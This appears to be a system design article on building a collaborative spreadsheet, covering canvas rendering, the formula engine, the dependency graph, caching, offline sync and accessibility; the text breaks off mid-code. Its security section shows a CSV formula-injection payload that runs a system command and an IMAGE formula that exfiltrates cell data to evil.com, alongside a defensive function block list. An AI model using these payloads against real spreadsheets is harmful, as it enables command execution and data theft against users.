expertSystem Design

Spreadsheet Application (e.g. Google Sheets)

Design a collaborative spreadsheet with cell-level formulas, dependency graph evaluation, virtualized grid rendering for millions of cells, and real-time multi-user editing.

60 min read

Problem Statement

A spreadsheet application is one of the most complex frontend systems ever built. Google Sheets processes 5 billion cells edited per day across 2 billion spreadsheets. Excel Online supports documents with 16,384 columns × 1,048,576 rows — over 17 billion potential cells per sheet. Airtable handles structured data for 300,000+ organizations.

The core challenge: render a virtually infinite grid performantly, evaluate a dependency graph of formulas in real-time, support collaborative editing with conflict resolution, and maintain sub-frame rendering latency while the user scrolls through millions of cells.

This problem tests your ability to design:

  • A canvas-based rendering engine that outperforms DOM by 100x for grid rendering
  • A formula engine with lexer → parser → AST → evaluator pipeline
  • A dependency DAG with topological sort and circular reference detection
  • Incremental recalculation — only re-evaluate dirty cells
  • Real-time collaboration using OT or CRDT at cell granularity
  • Virtualized viewport rendering only visible cells from datasets of 1M+ rows

Real-world implementations: Google Sheets, Microsoft Excel Online, Airtable, Notion Tables, Rows.com, Smartsheet.


Requirements Exploration

Functional Requirements

#RequirementPriorityComplexity
FR-1Render a grid of cells (columns A–Z…, rows 1–N) with canvasP0High
FR-2Edit cell values (text, numbers, dates, booleans)P0Medium
FR-3Formula support (=SUM(A1:A100), =VLOOKUP(...), nested)P0Very High
FR-4Cell formatting (bold, italic, color, borders, alignment, number format)P0Medium
FR-5Selection model (single, range, multi-range, keyboard extend)P0High
FR-6Copy/paste (internal, cross-sheet, external clipboard)P0High
FR-7Column/row resize with drag handlesP1Medium
FR-8Undo/redo with full operation historyP1High
FR-9Real-time collaborative editingP1Very High
FR-10Sort, filter, and find/replaceP1Medium
FR-11Freeze rows/columns (panes)P2Medium
FR-12Conditional formatting rulesP2Medium
FR-13Data validation (dropdowns, constraints)P2Medium
FR-14Charts and visualizations from cell dataP3High

Non-Functional Requirements

NFRTargetRationale
First Contentful Paint< 1.5sGrid must appear immediately
Scroll frame rate60 FPS (16.6ms budget)Canvas repaint must not drop frames
Formula recalculation< 50ms for 10K dependent cellsUser perceives instant feedback
Keystroke-to-render< 16msTyping must feel native
Collaboration latency< 200ms (p95)Cursors and edits appear near-instant
Maximum sheet size1M rows × 26K columnsMatch Excel Online capabilities
Offline supportFull edit + sync on reconnectProgressive enhancement
Memory usage< 500MB for 1M-cell sheetAvoid OOM on typical hardware
Bundle size< 250KB initial (gzipped)Formula engine lazy-loaded

Capacity Estimation & Constraints

Cell data budget for a 1M-row × 100-column sheet (100M cells):

Per-cell memory (sparse storage, only populated cells):
- Average populated cells: 5% = 5,000,000 cells
- Per cell object: ~120 bytes (value + formula + format ref + metadata)
- Total cell data: 5M × 120B = 600MB (too much — need compression)

Optimized with column-oriented storage + shared format refs:
- Value storage: 5M × 24B avg = 120MB
- Format table (shared): ~50KB (256 unique formats)
- Formula ASTs (10% of cells): 500K × 80B = 40MB
- Dependency graph edges: 2M edges × 16B = 32MB
- Total working memory: ~200MB ✓

Rendering budget per frame (16.6ms at 60 FPS):

Visible viewport: 50 rows × 20 columns = 1,000 cells
Overscan buffer: +10 rows × +5 cols = 1,500 cells total
Canvas draw calls per cell: 3 (background, text, border)
Total draw calls: 4,500
Time per draw call budget: 16.6ms / 4,500 = 3.7μs per call ✓

Collaboration message throughput:

Active users per sheet: 50 concurrent (Google Sheets limit)
Edits per user per second: 2 (typing bursts)
Messages per second: 100
Payload per message: ~200 bytes
Bandwidth per client: 20KB/s inbound (cursor + edits)

Architecture / High-Level Design

Rendering Strategy

💡

DOM-based rendering fails catastrophically for spreadsheets. A 50×20 visible grid requires 1,000 DOM elements minimum — each with text, borders, and backgrounds. With selection highlights, frozen panes, and overlays, this balloons to 5,000+ elements. Canvas reduces this to a single composite buffer with GPU-accelerated drawing.

The rendering pipeline uses a layered canvas architecture:

┌─────────────────────────────────────────────────┐
│ Layer 4: Overlay Canvas (selection, drag, resize)│
├─────────────────────────────────────────────────┤
│ Layer 3: UI Canvas (scrollbars, headers, freeze) │
├─────────────────────────────────────────────────┤
│ Layer 2: Content Canvas (cell values, formulas)  │
├─────────────────────────────────────────────────┤
│ Layer 1: Grid Canvas (lines, backgrounds, borders│
└─────────────────────────────────────────────────┘

Each layer repaints independently. Scrolling only invalidates Layers 1-2. Selection changes only repaint Layer 4. This eliminates unnecessary redraws.

Routes:
/sheets                          → Sheet list (dashboard)
/sheets/:id                      → Sheet editor (single sheet)
/sheets/:id/tab/:tabId           → Specific tab within workbook

URL state encoding:
/sheets/abc123?cell=B7&range=A1:D10&zoom=125

No page transitions during editing — SPA with History API for deep linking.

System Architecture Diagram ASCII

Loading diagram...

Component Architecture

SpreadsheetApp
├── Toolbar (formatting, formula bar)
├── FormulaBar (active cell display + edit)
├── SheetViewport
│   ├── ColumnHeaders (canvas — frozen if needed)
│   ├── RowHeaders (canvas — frozen if needed)
│   ├── GridCanvas (main cell content — 4 layers)
│   ├── CellEditor (floating <textarea> over active cell)
│   ├── SelectionOverlay (canvas layer for blue ranges)
│   └── CollaboratorCursors (colored borders + name labels)
├── SheetTabs (bottom tab bar)
├── ContextMenu (right-click actions)
└── Sidebar (conditional format, chart, validation panels)

State Management Strategy

// Core state split into focused stores for independent updates

// 1. Cell Data Store — the source of truth for all cell content
interface CellDataStore {
  cells: Map<string, CellData>; // "A1" → CellData
  formulas: Map<string, FormulaAST>; // cells with formulas
  dependencyGraph: DependencyDAG; // formula dependencies
  formats: FormatTable; // shared format objects
  columnWidths: Float32Array; // indexed by col number
  rowHeights: Float32Array; // indexed by row number
}

// 2. Viewport Store — what's currently visible
interface ViewportStore {
  scrollX: number;
  scrollY: number;
  visibleRange: CellRange; // computed from scroll + dimensions
  frozenRows: number;
  frozenCols: number;
  zoom: number;
}

// 3. Selection Store — current selection state
interface SelectionStore {
  activeCell: CellRef;
  ranges: CellRange[]; // multi-select support
  isEditing: boolean;
  editValue: string;
}

// 4. Collaboration Store — remote user state
interface CollaborationStore {
  remoteCursors: Map<string, RemoteCursor>;
  pendingOps: Operation[];
  confirmedVersion: number;
}

// 5. History Store — undo/redo
interface HistoryStore {
  undoStack: OperationBatch[];
  redoStack: OperationBatch[];
  maxDepth: number; // 100 operations
}

Data Model / Entities

// ═══════════════════════════════════════════════
// CELL DATA MODEL
// ═══════════════════════════════════════════════

interface CellData {
  /** Raw value entered by user (string, number, boolean, null) */
  value: CellValue;
  /** Formula string if cell contains formula (e.g., "=SUM(A1:A10)") */
  formula: string | null;
  /** Computed display value after formula evaluation */
  displayValue: string;
  /** Computed numeric value (for formula results) */
  computedValue: CellValue;
  /** Reference to shared format object */
  formatId: number;
  /** Cell-specific style overrides (sparse — most cells have none) */
  style: CellStyle | null;
  /** Data validation rule reference */
  validationId: number | null;
  /** Comment/note attached to cell */
  note: string | null;
  /** Hyperlink URL */
  hyperlink: string | null;
}

type CellValue = string | number | boolean | null | CellError;

type CellError =
  | "#VALUE!"
  | "#REF!"
  | "#NAME?"
  | "#DIV/0!"
  | "#NULL!"
  | "#N/A"
  | "#CIRCULAR!";

interface CellStyle {
  bold?: boolean;
  italic?: boolean;
  underline?: boolean;
  strikethrough?: boolean;
  fontFamily?: string;
  fontSize?: number; // points
  textColor?: string; // hex
  backgroundColor?: string; // hex
  horizontalAlign?: "left" | "center" | "right";
  verticalAlign?: "top" | "middle" | "bottom";
  wrapText?: boolean;
  borders?: CellBorders;
  numberFormat?: string; // e.g., "#,##0.00", "yyyy-mm-dd"
}

interface CellBorders {
  top?: BorderStyle;
  right?: BorderStyle;
  bottom?: BorderStyle;
  left?: BorderStyle;
}

interface BorderStyle {
  width: 1 | 2 | 3;
  style: "solid" | "dashed" | "dotted" | "double";
  color: string;
}

// ═══════════════════════════════════════════════
// CELL REFERENCE & RANGE
// ═══════════════════════════════════════════════

interface CellRef {
  col: number; // 0-indexed column
  row: number; // 0-indexed row
  sheetId?: string; // cross-sheet reference
  absoluteCol?: boolean; // $A1
  absoluteRow?: boolean; // A$1
}

interface CellRange {
  start: CellRef;
  end: CellRef;
}

// ═══════════════════════════════════════════════
// FORMULA ENGINE TYPES
// ═══════════════════════════════════════════════

type TokenType =
  | "NUMBER"
  | "STRING"
  | "BOOLEAN"
  | "CELL_REF"
  | "RANGE_REF"
  | "FUNCTION"
  | "OPERATOR"
  | "LPAREN"
  | "RPAREN"
  | "COMMA"
  | "COLON"
  | "SEMICOLON";

interface Token {
  type: TokenType;
  value: string;
  position: number;
}

type FormulaAST =
  | NumberLiteral
  | StringLiteral
  | BooleanLiteral
  | CellReference
  | RangeReference
  | FunctionCall
  | BinaryExpression
  | UnaryExpression;

interface NumberLiteral {
  type: "number";
  value: number;
}
interface StringLiteral {
  type: "string";
  value: string;
}
interface BooleanLiteral {
  type: "boolean";
  value: boolean;
}
interface CellReference {
  type: "cell_ref";
  ref: CellRef;
}
interface RangeReference {
  type: "range_ref";
  range: CellRange;
}

interface FunctionCall {
  type: "function";
  name: string; // SUM, VLOOKUP, IF, etc.
  args: FormulaAST[];
}

interface BinaryExpression {
  type: "binary";
  operator:
    | "+"
    | "-"
    | "*"
    | "/"
    | "^"
    | "&"
    | "="
    | "<>"
    | "<"
    | ">"
    | "<="
    | ">=";
  left: FormulaAST;
  right: FormulaAST;
}

interface UnaryExpression {
  type: "unary";
  operator: "-" | "+" | "%";
  operand: FormulaAST;
}

// ═══════════════════════════════════════════════
// DEPENDENCY GRAPH
// ═══════════════════════════════════════════════

interface DependencyDAG {
  /** Cell → cells it depends on (predecessors) */
  dependencies: Map<string, Set<string>>;
  /** Cell → cells that depend on it (successors/dependents) */
  dependents: Map<string, Set<string>>;
  /** Cells marked dirty needing recalculation */
  dirtySet: Set<string>;
  /** Topological order cache (invalidated on graph mutation) */
  topoOrder: string[] | null;
}

// ═══════════════════════════════════════════════
// COLLABORATION TYPES
// ═══════════════════════════════════════════════

type Operation =
  | SetCellValueOp
  | SetCellFormatOp
  | InsertRowOp
  | DeleteRowOp
  | InsertColOp
  | DeleteColOp
  | ResizeRowOp
  | ResizeColOp
  | MoveRangeOp;

interface SetCellValueOp {
  type: "set_value";
  cell: string; // "A1"
  oldValue: CellValue;
  newValue: CellValue;
  oldFormula: string | null;
  newFormula: string | null;
  timestamp: number;
  userId: string;
}

interface SetCellFormatOp {
  type: "set_format";
  range: CellRange;
  property: keyof CellStyle;
  oldValue: unknown;
  newValue: unknown;
  timestamp: number;
  userId: string;
}

interface InsertRowOp {
  type: "insert_row";
  index: number;
  count: number;
  timestamp: number;
  userId: string;
}

interface DeleteRowOp {
  type: "delete_row";
  index: number;
  count: number;
  deletedData: Map<string, CellData>; // for undo
  timestamp: number;
  userId: string;
}

// ═══════════════════════════════════════════════
// UNDO/REDO
// ═══════════════════════════════════════════════

interface OperationBatch {
  id: string;
  operations: Operation[];
  timestamp: number;
  description: string; // "Paste 50 cells", "Format range"
}

// ═══════════════════════════════════════════════
// DOCUMENT MODEL
// ═══════════════════════════════════════════════

interface Spreadsheet {
  id: string;
  title: string;
  ownerId: string;
  sheets: Sheet[];
  namedRanges: NamedRange[];
  createdAt: number;
  updatedAt: number;
  version: number; // OT version counter
}

interface Sheet {
  id: string;
  name: string;
  cells: Map<string, CellData>;
  columnWidths: number[]; // default 100px
  rowHeights: number[]; // default 21px
  frozenRows: number;
  frozenCols: number;
  conditionalFormats: ConditionalFormat[];
  validationRules: ValidationRule[];
  mergedCells: CellRange[];
}

interface NamedRange {
  name: string;
  range: CellRange;
  sheetId: string;
}

interface RemoteCursor {
  userId: string;
  displayName: string;
  color: string; // assigned color
  activeCell: CellRef;
  selection: CellRange | null;
  lastSeen: number;
}

Interface Definition (API)

// ═══════════════════════════════════════════════
// REST API — Document Operations
// ═══════════════════════════════════════════════

// GET /api/sheets/:id
// Load sheet metadata + initial visible chunk
interface GetSheetResponse {
  spreadsheet: Spreadsheet;
  initialChunk: {
    range: CellRange; // typically A1:Z100
    cells: Record<string, CellData>;
  };
  collaborators: RemoteCursor[];
  version: number;
}

// POST /api/sheets/:id/cells/batch
// Bulk cell update (for paste operations)
interface BatchCellUpdateRequest {
  operations: SetCellValueOp[];
  baseVersion: number;
}

interface BatchCellUpdateResponse {
  accepted: boolean;
  newVersion: number;
  conflicts?: ConflictResolution[];
}

// GET /api/sheets/:id/chunk?startRow=1000&endRow=1100&startCol=0&endCol=50
// Lazy-load cell data for scrolled regions
interface ChunkResponse {
  range: CellRange;
  cells: Record<string, CellData>;
  totalRows: number;
  totalCols: number;
}

// ═══════════════════════════════════════════════
// WEBSOCKET PROTOCOL — Real-time Collaboration
// ═══════════════════════════════════════════════

// Client → Server messages
type ClientMessage =
  | { type: "operation"; op: Operation; baseVersion: number }
  | { type: "cursor_move"; cell: CellRef; selection: CellRange | null }
  | { type: "request_chunk"; range: CellRange }
  | { type: "ack"; version: number };

// Server → Client messages
type ServerMessage =
  | { type: "operation"; op: Operation; version: number; userId: string }
  | { type: "ack"; version: number }
  | { type: "cursor_update"; userId: string; cursor: RemoteCursor }
  | { type: "user_join"; user: RemoteCursor }
  | { type: "user_leave"; userId: string }
  | { type: "chunk_data"; range: CellRange; cells: Record<string, CellData> }
  | { type: "conflict"; resolution: ConflictResolution };

interface ConflictResolution {
  cell: string;
  yourOp: Operation;
  winningOp: Operation;
  resolvedValue: CellValue;
}

// ═══════════════════════════════════════════════
// FORMULA ENGINE API (Web Worker interface)
// ═══════════════════════════════════════════════

// Main thread → Worker
type FormulaWorkerRequest =
  | { type: "evaluate"; cellId: string; formula: string; context: EvalContext }
  | { type: "recalculate"; dirtyCells: string[]; context: EvalContext }
  | { type: "parse"; formula: string }
  | { type: "detect_circular"; graph: SerializedDAG };

// Worker → Main thread
type FormulaWorkerResponse =
  | { type: "result"; cellId: string; value: CellValue; displayValue: string }
  | { type: "batch_result"; results: Map<string, CellValue> }
  | { type: "parse_result"; ast: FormulaAST; dependencies: CellRef[] }
  | { type: "circular_detected"; cycle: string[] }
  | { type: "error"; cellId: string; error: CellError };

interface EvalContext {
  getCellValue: (ref: string) => CellValue;
  getCellRange: (range: CellRange) => CellValue[][];
  namedRanges: Map<string, CellRange>;
}

Caching Strategy

Client-Side Caching

class CellCache {
  // Layer 1: Active viewport cells (hot — always in memory)
  private viewportCells: Map<string, CellData> = new Map();

  // Layer 2: Recently visited regions (warm — LRU eviction)
  private regionCache: LRUCache<string, Map<string, CellData>>;

  // Layer 3: IndexedDB persistence (cold — survives reload)
  private persistentStore: IDBDatabase;

  constructor() {
    // Keep 50 regions (each 100×50 cells) in memory = 250K cells max
    this.regionCache = new LRUCache({ maxSize: 50 });
  }

  async getCell(ref: string): Promise<CellData | null> {
    // Check hot cache first
    if (this.viewportCells.has(ref)) return this.viewportCells.get(ref)!;

    // Check warm LRU
    const region = this.getRegionKey(ref);
    const cached = this.regionCache.get(region);
    if (cached?.has(ref)) return cached.get(ref)!;

    // Fall through to IndexedDB
    return this.loadFromPersistent(ref);
  }

  // Viewport scroll → prefetch adjacent regions
  prefetchForScroll(direction: "up" | "down" | "left" | "right"): void {
    const adjacentRegion = this.computeAdjacentRegion(direction);
    if (!this.regionCache.has(adjacentRegion)) {
      this.requestChunk(adjacentRegion); // async fetch from server
    }
  }
}

Canvas rendering cache:

class RenderCache {
  // Pre-rendered text measurements (expensive — cache aggressively)
  private textMetrics: Map<string, TextMetrics> = new Map();

  // Off-screen canvas for frozen panes (don't repaint on scroll)
  private frozenRowCanvas: OffscreenCanvas;
  private frozenColCanvas: OffscreenCanvas;

  // Bitmap cache for static cell content (invalidate on edit only)
  private cellBitmapCache: Map<string, ImageBitmap> = new Map();

  measureText(text: string, font: string): TextMetrics {
    const key = `${font}|${text}`;
    if (!this.textMetrics.has(key)) {
      this.ctx.font = font;
      this.textMetrics.set(key, this.ctx.measureText(text));
    }
    return this.textMetrics.get(key)!;
  }
}

CDN & Edge Caching

┌────────────────────────────────────────────────────────────┐
│ Cache Layer          │ What                 │ TTL           │
├──────────────────────┼──────────────────────┼───────────────┤
│ Browser Memory       │ Active viewport      │ Session       │
│ IndexedDB            │ Full sheet snapshot   │ 24h           │
│ Service Worker       │ App shell + WASM      │ Versioned     │
│ CDN (CloudFront)     │ Static assets, fonts  │ 1 year        │
│ Edge (Cloudflare)    │ Read-only sheet views │ 5 min         │
│ Origin               │ API responses         │ No cache      │
└────────────────────────────────────────────────────────────┘

Cache Coherence

💡

Cell data caching in a collaborative spreadsheet requires version-vector invalidation. When a remote edit arrives via WebSocket, the client must invalidate exactly the affected cells in all cache layers — not flush the entire cache. This is critical for 1M-cell sheets where full re-fetch would be catastrophic.

class CacheCoherence {
  private versionVector: Map<string, number> = new Map(); // cell → version

  onRemoteOperation(op: Operation, version: number): void {
    const affectedCells = this.getAffectedCells(op);

    for (const cellId of affectedCells) {
      // Invalidate all cache layers for this cell
      this.cellCache.invalidate(cellId);
      this.renderCache.invalidateCellBitmap(cellId);
      this.versionVector.set(cellId, version);
    }

    // If operation shifts rows/columns, invalidate entire regions
    if (op.type === "insert_row" || op.type === "delete_row") {
      this.invalidateRowRange(op.index, Infinity);
      this.dependencyGraph.shiftRows(op.index, op.count);
    }
  }
}

Rendering & Performance Deep Dive

💡

The single biggest performance insight for spreadsheet rendering: never iterate all cells. With 1M rows, even a simple for loop over empty cells costs 10ms+. Every operation must be bounded by the visible viewport (typically 1,000–2,000 cells) or use sparse data structures that skip empty regions.

Canvas Rendering Pipeline

Input Event (scroll/edit)
    │
    ▼
┌──────────────────┐
│ Compute Dirty    │  ← Which layers need repaint?
│ Regions          │     Scroll → Layer 1+2, Edit → Layer 2 only
└────────┬─────────┘
         │
         ▼
┌──────────────────┐
│ Resolve Visible  │  ← Binary search column/row boundaries
│ Cell Range       │     O(log n) — not O(n) scan
└────────┬─────────┘
         │
         ▼
┌──────────────────┐
│ Batch Draw Calls │  ← Group by style to minimize state changes
│ (backgrounds →   │     ctx.fillStyle changes are expensive
│  borders → text) │
└────────┬─────────┘
         │
         ▼
┌──────────────────┐
│ Composite Layers │  ← drawImage() each canvas layer to screen
└──────────────────┘

Viewport Virtualization

class VirtualizedGrid {
  private overscan = { rows: 10, cols: 5 };

  computeVisibleRange(
    scrollX: number,
    scrollY: number,
    viewportWidth: number,
    viewportHeight: number,
  ): VisibleRange {
    // Binary search for first visible row (variable row heights)
    const startRow = this.binarySearchRow(scrollY);
    const startCol = this.binarySearchCol(scrollX);

    // Scan forward to find last visible
    let endRow = startRow;
    let accHeight = 0;
    while (accHeight < viewportHeight && endRow < this.totalRows) {
      accHeight += this.rowHeights[endRow++];
    }

    let endCol = startCol;
    let accWidth = 0;
    while (accWidth < viewportWidth && endCol < this.totalCols) {
      accWidth += this.colWidths[endCol++];
    }

    return {
      startRow: Math.max(0, startRow - this.overscan.rows),
      endRow: Math.min(this.totalRows, endRow + this.overscan.rows),
      startCol: Math.max(0, startCol - this.overscan.cols),
      endCol: Math.min(this.totalCols, endCol + this.overscan.cols),
    };
  }

  private binarySearchRow(scrollY: number): number {
    // Prefix sum array for O(log n) row lookup
    let lo = 0,
      hi = this.rowPrefixSums.length - 1;
    while (lo < hi) {
      const mid = (lo + hi) >>> 1;
      if (this.rowPrefixSums[mid] < scrollY) lo = mid + 1;
      else hi = mid;
    }
    return lo;
  }
}

Formula Engine Pipeline

"=SUM(A1:A10) + VLOOKUP(B2, Data!A:C, 3, FALSE)"
         │
         ▼
┌──────────────────┐
│    TOKENIZER     │  → [FUNCTION:"SUM", LPAREN, RANGE:"A1:A10", RPAREN,
│   (Lexer)        │     OPERATOR:"+", FUNCTION:"VLOOKUP", ...]
└────────┬─────────┘
         │
         ▼
┌──────────────────┐
│     PARSER       │  → BinaryExpression {
│  (Recursive      │       left: FunctionCall { name: "SUM", args: [RangeRef] },
│   Descent)       │       operator: "+",
└────────┬─────────┘       right: FunctionCall { name: "VLOOKUP", args: [...] }
         │             }
         ▼
┌──────────────────┐
│  DEPENDENCY      │  → Extract: A1, A2, ..., A10, B2, Data!A:C
│  EXTRACTION      │     Add edges to DAG
└────────┬─────────┘
         │
         ▼
┌──────────────────┐
│   EVALUATOR      │  → Walk AST, resolve references, call builtins
│  (Tree-walking)  │     Return: computed value
└──────────────────┘

Incremental Recalculation

class IncrementalRecalc {
  recalculate(editedCell: string, newValue: CellValue): void {
    // 1. Mark edited cell dirty
    this.dag.dirtySet.add(editedCell);

    // 2. Propagate dirty flag to all dependents (BFS)
    const queue: string[] = [editedCell];
    while (queue.length > 0) {
      const cell = queue.shift()!;
      const dependents = this.dag.dependents.get(cell) || new Set();
      for (const dep of dependents) {
        if (!this.dag.dirtySet.has(dep)) {
          this.dag.dirtySet.add(dep);
          queue.push(dep);
        }
      }
    }

    // 3. Topological sort dirty cells only
    const evalOrder = this.topologicalSort(this.dag.dirtySet);

    // 4. Detect circular references
    if (evalOrder === null) {
      this.markCircularCells();
      return;
    }

    // 5. Evaluate in dependency order
    for (const cellId of evalOrder) {
      const ast = this.formulas.get(cellId);
      if (ast) {
        const result = this.evaluator.evaluate(ast);
        this.cells.get(cellId)!.computedValue = result;
        this.cells.get(cellId)!.displayValue = this.format(result, cellId);
      }
    }

    // 6. Clear dirty set
    this.dag.dirtySet.clear();

    // 7. Request repaint only for cells that changed
    this.renderer.invalidateCells(evalOrder);
  }

  private topologicalSort(cells: Set<string>): string[] | null {
    const inDegree = new Map<string, number>();
    const subgraph = new Map<string, Set<string>>();

    // Build subgraph of dirty cells only
    for (const cell of cells) {
      const deps = this.dag.dependencies.get(cell) || new Set();
      const relevantDeps = new Set([...deps].filter((d) => cells.has(d)));
      subgraph.set(cell, relevantDeps);
      inDegree.set(cell, relevantDeps.size);
    }

    // Kahn's algorithm
    const queue = [...cells].filter((c) => (inDegree.get(c) || 0) === 0);
    const sorted: string[] = [];

    while (queue.length > 0) {
      const node = queue.shift()!;
      sorted.push(node);
      const dependents = this.dag.dependents.get(node) || new Set();
      for (const dep of dependents) {
        if (cells.has(dep)) {
          inDegree.set(dep, (inDegree.get(dep) || 0) - 1);
          if (inDegree.get(dep) === 0) queue.push(dep);
        }
      }
    }

    // If sorted doesn't contain all cells → circular reference
    return sorted.length === cells.size ? sorted : null;
  }
}

Performance Targets

OperationBudgetTechnique
Scroll (repaint)< 8msCanvas layer compositing, skip unchanged layers
Cell edit< 16msSingle cell repaint + async recalc
Formula recalc (100 deps)< 5msIncremental dirty propagation
Formula recalc (10K deps)< 50msWeb Worker + batch evaluation
Paste 10K cells< 200msChunked write + deferred recalc
Initial load (10K cells)< 800msStream chunks, render progressively
Column resize (drag)60 FPSOnly repaint affected column via clip rect

Security Deep Dive

Threat Model

ThreatVectorImpactMitigation
Formula injection=IMPORTRANGE() to exfiltrate dataData leakSandbox formula evaluation, whitelist functions
XSS via cell content<script> in cell rendered to DOMAccount takeoverCanvas rendering eliminates HTML parsing; sanitize editor input
CSRF on APIForged save/delete requestsData lossSameSite cookies + CSRF tokens
WebSocket hijackingSteal collab sessionUnauthorized editsWSS + auth token in handshake
Clipboard exfiltrationMalicious paste triggers data sendData leakCSP blocks external requests
Denial of serviceFormula with exponential expansionBrowser freezeEvaluation timeout (5s) + depth limit (50)
Shared link abusePublic link enumerationUnauthorized accessUnguessable UUIDs + rate limiting
Memory exhaustionPaste 10M cellsTab crashCell count limit per sheet (5M) + chunked paste

CSP

Content-Security-Policy:
  default-src 'self';
  script-src 'self' 'wasm-unsafe-eval';
  style-src 'self' 'unsafe-inline';
  connect-src 'self' wss://*.sheets.example.com;
  img-src 'self' data: blob:;
  worker-src 'self' blob:;
  frame-src 'none';
  object-src 'none';
  base-uri 'self';

Key decisions:

  • wasm-unsafe-eval for formula engine compiled to WebAssembly
  • worker-src blob: for dynamically created Web Workers
  • frame-src 'none' prevents embedding in malicious frames
  • No unsafe-eval — formula engine uses AST interpretation, not eval()

Formula Injection

💡

The most underestimated security risk in spreadsheets is formula injection. In CSV exports, a cell containing =cmd|'/C calc'!A0 can execute system commands when opened in Excel. In web spreadsheets, formulas like =IMAGE("https://evil.com/track?data=" & A1) can exfiltrate data. Every formula function must be whitelisted and sandboxed.

class FormulaSecuritySandbox {
  private readonly ALLOWED_FUNCTIONS = new Set([
    "SUM",
    "AVERAGE",
    "COUNT",
    "MAX",
    "MIN",
    "IF",
    "VLOOKUP",
    "HLOOKUP",
    "INDEX",
    "MATCH",
    "CONCATENATE",
    "LEFT",
    "RIGHT",
    "MID",
    "LEN",
    "TRIM",
    "UPPER",
    "LOWER",
    "ROUND",
    "ABS",
    // ... ~200 safe functions
  ]);

  private readonly BLOCKED_FUNCTIONS = new Set([
    "IMPORTRANGE",
    "IMPORTXML",
    "IMPORTHTML",
    "IMPORTDATA",
    "IMAGE",
    "WEBSERVICE",
    "FILTERXML",
  ]);

  private readonly MAX_EVAL_DEPTH = 50;
  private readonly MAX_EVAL_TIME_MS = 5000;
  private readonly MAX_RANGE_SIZE = 1_000_000; // cells in a single range

  validateFormula(ast: FormulaAST): SecurityValidation {
    const violations: string[] = [];
    this.walkAST(ast, (node) => {
      if (node.type === "function") {
        if (this.BLOCKED_FUNCTIONS.has(node.name)) {
          violations.push(`Blocked function: ${node.name}`);
        }
        if (!this.ALLOWED_FUNCTIONS.has(node.name)) {
          violations.push(`Unknown function: ${node.name}`);
        }
      }
      if (node.type === "range_ref") {
        const size = this.rangeSize(node.range);
        if (size > this.MAX_RANGE_SIZE) {
          violations.push(`Range too large: ${size} cells`);
        }
      }
    });
    return { safe: violations.length === 0, violations };
  }
}

Data Protection

// Encryption at rest for sensitive sheets
interface SheetEncryption {
  algorithm: "AES-256-GCM";
  keyDerivation: "PBKDF2";
  iterations: 600000;
  saltLength: 32;
}

// Access control model
interface SheetPermissions {
  owner: string;
  editors: string[];
  viewers: string[];
  publicAccess: "none" | "view" | "comment" | "edit";
  linkSharing: {
    enabled: boolean;
    permission: "view" | "edit";
    expiresAt: number | null;
  };
}

// Audit log for compliance
interface AuditEntry {
  timestamp: number;
  userId: string;
  action: "view" | "edit" | "share" | "export" | "delete";
  details: string;
  ipAddress: string;
  userAgent: string;
}

Scalability & Reliability

Failure ModeDetectionImpactRecovery
WebSocket disconnectHeartbeat timeout (30s)No real-time updatesExponential backoff reconnect + operation queue
Formula engine crash (Worker)Worker onerror eventFormulas stop evaluatingRestart Worker + re-evaluate dirty set
IndexedDB quota exceededQuotaExceededErrorCan't cache offlineLRU eviction of oldest sheets
Server version conflictOT transform failureEdit rejectedClient rebases pending ops on new base
Large paste OOMPerformance.memory APITab crash riskChunk paste into 1K-cell batches
Scroll jank (missed frames)requestAnimationFrame timingPoor UXReduce overscan, skip text rendering during fast scroll
Circular formula referenceTopological sort failureInfinite loopMark cells as #CIRCULAR!, break eval

Offline-First Architecture

class OfflineManager {
  private pendingOps: Operation[] = [];
  private isOnline = navigator.onLine;

  async applyOperation(op: Operation): Promise<void> {
    // Always apply locally first (optimistic)
    this.localStore.apply(op);
    this.historyStore.push(op);

    if (this.isOnline) {
      try {
        await this.transport.send(op);
      } catch {
        this.pendingOps.push(op);
      }
    } else {
      this.pendingOps.push(op);
      await this.persistQueue(); // IndexedDB
    }
  }

  async onReconnect(): Promise<void> {
    // Fetch server state since last confirmed version
    const serverOps = await this.fetchMissedOps(this.lastConfirmedVersion);

    // Transform pending ops against server ops (OT)
    const transformed = this.ot.transformBatch(this.pendingOps, serverOps);

    // Re-send transformed operations
    for (const op of transformed) {
      await this.transport.send(op);
    }

    this.pendingOps = [];
  }
}

Horizontal Scaling

┌─────────────────────────────────────────────────────────────┐
│                    Load Balancer (L7)                         │
│         (sticky sessions by sheet ID for WebSocket)          │
└────────────┬──────────────────────┬─────────────────────────┘
             │                      │
   ┌─────────▼────────┐  ┌─────────▼────────┐
   │  WS Server Pod 1  │  │  WS Server Pod 2  │
   │  (sheets A-M)     │  │  (sheets N-Z)     │
   └─────────┬─────────┘  └─────────┬─────────┘
             │                      │
   ┌─────────▼──────────────────────▼─────────┐
   │         Redis Pub/Sub (cross-pod ops)     │
   └─────────┬────────────────────────────────┘
             │
   ┌─────────▼─────────┐
   │  Document Store    │
   │  (sharded by ID)   │
   └────────────────────┘

Accessibility Deep Dive

💡

Spreadsheets present a unique accessibility challenge: screen readers must navigate a 2D grid where cells can contain computed values, formulas, or formatting. ARIA grid roles alone are insufficient — the application must maintain a virtual accessibility tree that maps canvas-rendered cells to semantic information announced by assistive technology.

ARIA Grid Structure

<!-- Hidden accessible DOM that mirrors canvas state -->
<div role="application" aria-label="Spreadsheet Editor">
  <div
    role="grid"
    aria-rowcount="1000000"
    aria-colcount="16384"
    aria-label="Sheet 1"
  >
    <!-- Only active region rendered in DOM for a11y -->
    <div role="row" aria-rowindex="5">
      <div
        role="gridcell"
        aria-colindex="2"
        aria-label="Cell B5, value: 42, formula: =SUM(B1:B4)"
        tabindex="-1"
      >
        42
      </div>
    </div>
  </div>
</div>

Keyboard Navigation

KeyActionContext
Arrow keysMove active cellNavigation mode
Tab / Shift+TabMove to next/prev cellEdit mode
EnterConfirm edit, move downEdit mode
EscapeCancel editEdit mode
Ctrl+HomeGo to A1Any
Ctrl+EndGo to last used cellAny
Ctrl+Shift+EndSelect to last used cellAny
F2Enter edit modeNavigation mode
Ctrl+SpaceSelect entire columnAny
Shift+SpaceSelect entire rowAny
Ctrl+Z / Ctrl+YUndo / RedoAny
Ctrl+C / Ctrl+VCopy / PasteAny
Ctrl+;Insert current dateEdit mode

Screen Reader Announcements

class AccessibilityAnnouncer {
  private liveRegion: HTMLElement;

  announceNavigation(cell: CellRef, data: CellData): void {
    const parts = [
      `Cell ${this.cellLabel(cell)}`,
      data.displayValue ? `value: ${data.displayValue}` : "empty",
      data.formula ? `formula: ${data.formula}` : null,
      data.note ? `has note` : null,
    ].filter(Boolean);

